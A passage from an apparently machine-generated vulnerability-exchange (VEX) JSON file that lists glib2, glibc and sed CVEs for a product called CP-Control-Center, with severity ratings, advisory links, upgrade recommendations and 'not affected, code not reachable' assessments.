"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-55440.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:55440" }, { "url": "https://github.com/advisories/GHSA-vwg8-37h9-g38g" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3918" }, { "url": "https://linux.oracle.com/cve/CVE-2026-58012.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61766-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58012" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-58012" } ], "published": "2026-06-30T13:19:17+00:00", "updated": "2026-09-01T03:16:49+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-58013", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 8.2, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 8.2, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 126 ], "description": "A flaw was found in GLib. A buffer over-read can occur in g_io_channel_read_line_backend() in the giochannel.c file when a custom line terminator with a length greater than one is set, causing memcmp to read past the GString buffer. This vulnerability can cause a minor information disclosure of 7 bytes or a denial of service when the buffer over-read crosses a page boundary.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.9", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-58013" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:55440" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61766" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-58013" }, { "url": "https://bugzilla.redhat.com/2492243" }, { "url": "https://bugzilla.redhat.com/2492245" }, { "url": "https://bugzilla.redhat.com/2492247" }, { "url": "https://bugzilla.redhat.com/2492248" }, { "url": "https://bugzilla.redhat.com/2492255" }, { "url": "https://bugzilla.redhat.com/2492256" }, { "url": "https://bugzilla.redhat.com/2499675" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492243" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492245" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492247" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492248" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492255" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499675" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-55440.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:55440" }, { "url": "https://github.com/advisories/GHSA-4x46-h598-64qr" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3925" }, { "url": "https://linux.oracle.com/cve/CVE-2026-58013.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61766-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58013" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-58013" } ], "published": "2026-06-30T13:19:17+00:00", "updated": "2026-09-01T03:16:50+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-58014", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "julia" }, "score": 8.6, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" }, { "source": { "name": "nvd" }, "score": 8.6, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 7.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 193 ], "description": "A flaw was found in GLib. An off-by-one error can occur in the g_key_file_get_locale_string_list function in the gkeyfile.c file when loading a key file with an empty value. This flaw can cause an out-of-bounds access of 1 byte or a denial of service when the out-of-bounds access crosses a page boundary.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.9", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-58014" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:55440" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61766" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-58014" }, { "url": "https://bugzilla.redhat.com/2492243" }, { "url": "https://bugzilla.redhat.com/2492245" }, { "url": "https://bugzilla.redhat.com/2492247" }, { "url": "https://bugzilla.redhat.com/2492248" }, { "url": "https://bugzilla.redhat.com/2492255" }, { "url": "https://bugzilla.redhat.com/2492256" }, { "url": "https://bugzilla.redhat.com/2499675" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492243" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492245" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492247" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492248" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492255" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499675" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-55440.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:55440" }, { "url": "https://github.com/advisories/GHSA-h88q-m8mm-7243" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3930" }, { "url": "https://linux.oracle.com/cve/CVE-2026-58014.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61766-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58014" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-58014" } ], "published": "2026-06-30T13:19:17+00:00", "updated": "2026-09-01T03:16:50+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-58015", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "rocky" }, "severity": "medium" } ], "cwes": [ 22 ], "description": "A flaw was found in GLib. The D-Bus client-side implementation of the DBUS_COOKIE_SHA1 SASL authentication mechanism does not validate the cookie_context parameter received from the server. A malicious D-Bus server can supply a cookie_context containing path traversal sequences, causing the client to read an arbitrary file and exfiltrate sensitive data by verifying guessed file contents against a generated hash.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.9", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-58015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:55440" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57015" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61766" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61783" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-58015" }, { "url": "https://bugzilla.redhat.com/2492243" }, { "url": "https://bugzilla.redhat.com/2492245" }, { "url": "https://bugzilla.redhat.com/2492247" }, { "url": "https://bugzilla.redhat.com/2492248" }, { "url": "https://bugzilla.redhat.com/2492255" }, { "url": "https://bugzilla.redhat.com/2492256" }, { "url": "https://bugzilla.redhat.com/2499675" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492243" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492245" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492247" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492248" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492255" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492256" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2499675" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15588" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58010" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58011" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58012" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58013" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58014" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58015" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-55440.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:55440" }, { "url": "https://github.com/advisories/GHSA-hmpf-72wc-2r6x" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3931" }, { "url": "https://linux.oracle.com/cve/CVE-2026-58015.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-61766-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58015" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-58015" } ], "published": "2026-06-30T13:19:17+00:00", "updated": "2026-09-01T03:16:50+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-58016", "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 9.1, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 9.1, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "photon" }, "severity": "critical" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 191 ], "description": "A flaw was found in GLib. A state confusion issue exists in g_dbus_node_info_new_for_xml() in the gio/gdbusintrospection.c file when processing malformed D-Bus introspection XML, specifically with a `node` element nested within other elements like `method`, `signal`, `property` or `arg`. This issue can cause an unsigned integer overflow and lead to an out-of-bounds read, resulting in a denial of service.", "recommendation": "Upgrade glib2 to version 2.68.4-19.el9_8.2", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-58016" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42063" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42089" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42090" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44481" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46836" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49512" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51175" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51176" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51177" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51181" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51182" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51183" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51184" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51185" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53371" }, { "url": "https://access.redhat.com/errata/RHSA-2026:58981" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-58016" }, { "url": "https://bugzilla.redhat.com/2492257" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492257" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-58016" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-42089.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:42089" }, { "url": "https://github.com/advisories/GHSA-8rpw-4xx7-27w7" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/3932" }, { "url": "https://linux.oracle.com/cve/CVE-2026-58016.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-51183.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58016" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-58016" } ], "published": "2026-06-30T13:19:17+00:00", "updated": "2026-08-25T10:18:12+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-5928", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "medium" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 127 ], "description": "Calling the ungetwc function on a FILE stream with wide characters encoded in a character set that has overlaps between its single byte and multi-byte character encodings, in the GNU C Library version 2.43 or earlier, may result in an attempt to read bytes before an allocated buffer, potentially resulting in unintentional disclosure of neighboring data in the heap, or a program crash.\n\nA bug in the wide character pushback implementation (_IO_wdefault_pbackfail in libio/wgenops.c) causes ungetwc() to operate on the regular character buffer (fp->_IO_read_ptr) instead of the actual wide-stream read pointer (fp->_wide_data->_IO_read_ptr). The program crash may happen in cases where fp->_IO_read_ptr is not initialized and hence points to NULL. The buffer under-read requires a special situation where the input character encoding is such that there are overlaps between single byte representations and multibyte representations in that encoding, resulting in spurious matches. The spurious match case is not possible in the standard Unicode character sets.", "recommendation": "Upgrade glibc to version 2.34-274.el9_8; Upgrade glibc-common to version 2.34-274.el9_8; Upgrade glibc-minimal-langpack to version 2.34-274.el9_8", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-5928" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42952" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-5928" }, { "url": "https://bugzilla.redhat.com/2459854" }, { "url": "https://bugzilla.redhat.com/2463465" }, { "url": "https://bugzilla.redhat.com/2463539" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2459854" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463465" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463539" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5435" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5928" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6238" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-42952.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:42952" }, { "url": "https://linux.oracle.com/cve/CVE-2026-5928.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-500140.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5928" }, { "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=33998" }, { "url": "https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=advisories/GLIBC-SA-2026-0010" }, { "url": "https://ubuntu.com/security/notices/USN-8611-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-5928" } ], "published": "2026-04-20T21:16:36+00:00", "updated": "2026-07-14T13:19:01+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.34-272.el9_8", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc-common@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc-minimal-langpack@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/glibc@2.34-272.el9_8?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-5958", "ratings": [ { "source": { "name": "azure" }, "severity": "low" }, { "source": { "name": "redhat" }, "score": 6.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 367 ], "description": "When sed is invoked with both -i (in-place edit) and --follow-symlinks, the function open_next_file() performs two separate, non-atomic filesystem operations on the same path: \n1. resolves symlink to its target and stores\u00a0the resolved path for determining when output is written,\n2. opens the original symlink path\u00a0(not the resolved one) to read the file. \nBetween these two calls there is a race window. If an attacker atomically replaces the symlink with a different target during that window, sed will: read content from the new (attacker-chosen) symlink target and write the processed result to the path recorded in step 1.\u00a0This can lead to arbitrary file overwrite with attacker-controlled content in the context of the sed process.\n\n\nThis issue was fixed in version 4.10.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-5958" }, { "url": "http://www.openwall.com/lists/oss-security/2026/05/13/1" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-5958" }, { "url": "https://cert.pl/en/posts/2026/04/CVE-2026-5958" }, { "url": "https://github.com/advisories/GHSA-9r7w-j29g-xqx8" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5958" }, { "url": "https://ubuntu.com/security/notices/USN-8229-1" }, { "url": "https://ubuntu.com/security/notices/USN-8229-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-5958" }, { "url": "https://www.gnu.org/software/sed" }, { "url": "https://www.gnu.org/software/sed/" } ], "published": "2026-04-20T12:16:08+00:00", "updated": "2026-06-17T10:59:56+00:00", "affects": [ { "ref": "pkg:rpm/redhat/sed@4.8-10.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "4.8-10.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/sed@4.8-10.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2026-6238", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "medium" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 126 ], "description": "The deprecated functions ns_printrrf, ns_printrr and fp_nquery in the GNU C Library version 2.0.1 to version 2.43 fail to validate the RDATA content against the RDATA length in a DNS response when processing A6, CERT, LOC, TKEY or TSIG records, which may allow an attacker to craft a DNS response, causing a target application to crash or read uninitialized memory.\n\nThese functions are for application debugging only and hence not in the path of code executed by the DNS resolver. Further, they have been deprecated since version 2.34 and should not be used by any new applications. Applications should consider porting away from these interfaces since they may be removed in future versions.", "recommendation": "Upgrade glibc to version 2.34-274.el9_8; Upgrade glibc-common to version 2.34-274.el9_8; Upgrade glibc-minimal-langpack to version 2.34-274.el9_8", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-6238" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42952" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-6238" }, { "url": "https://bugzilla.redhat.com/2459854" }, { "url": "https://bugzilla.redhat.com/2463465" }, { "url": "https://bugzilla.redhat.com/2463539" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2459854" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463465" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2463539" }, { "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5435" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-5928" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6238" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-42952.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:42952" }, { "url": "https://inbox.sourceware.org/libc-alpha/cover.1777546194.git.fweimer@redhat.com/" }, { "url": 